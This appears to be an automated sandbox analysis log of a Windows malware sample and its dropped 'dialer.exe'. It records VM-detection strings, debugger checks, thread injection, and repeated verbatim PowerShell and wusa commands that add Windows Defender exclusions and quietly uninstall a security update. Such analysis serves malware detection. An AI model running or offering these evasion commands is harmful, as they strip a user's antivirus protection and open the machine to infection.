Source: mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ]\utsrqponmlkjihgfSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,
Source: dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "qemu-ga.exe"
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe"
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exep

Source: C:\Windows\System32\dwm.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\mav17final.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 0_2_00007FF79EA565B4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF79EA565B4

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9071270 LoadLibraryA,GetProcAddress,FreeLibrary,

2_2_00007FF8B9071270

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 0_2_00007FF79EA5EE60 GetProcessHeap,

0_2_00007FF79EA5EE60

Source: C:\Users\user\Desktop\mav17final.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA565B4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF79EA565B4
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA4C690 SetUnhandledExceptionFilter,	0_2_00007FF79EA4C690
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA4BC10 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF79EA4BC10
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA4C4AC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF79EA4C4AC
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B907A000 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8B907A000
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B907A928 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8B907A928
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90A35E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8B90A35E0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90A3BB0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8B90A3BB0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90CA090 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8B90CA090
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90CAAD8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8B90CAAD8
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B93C2600 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8B93C2600
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B93C2BC0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8B93C2BC0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9841B00 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8B9841B00
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9841530 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8B9841530
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9F66254 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8B9F66254
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9F65CB0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8B9F65CB0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BA250468 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8BA250468
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BFAB52F0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8BFAB52F0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BFAB4D20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8BFAB4D20
Source: C:\Windows\System32\conhost.exe	Code function: 64_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	64_2_0000000140001160

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\dialer.exe	Thread register set: target process: 5952
Source: C:\ProgramData\dialer.exe	Thread register set: target process: 2804

Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Users\user\Desktop\mav17final.exe "C:\Users\user\Desktop\mav17final.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\dialer.exe C:\Users\user\AppData\Local\Temp\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\dwm.exe dwm.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 0_2_00007FF79EA64EF0 cpuid

0_2_00007FF79EA64EF0

Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\libcrypto-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\libffi-8.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\libssl-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\psutil VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\pyexpat.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\python311.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\_elementtree.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\psutil VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\psutil VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\psutil VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\Desktop\mav17final.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\dialer.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
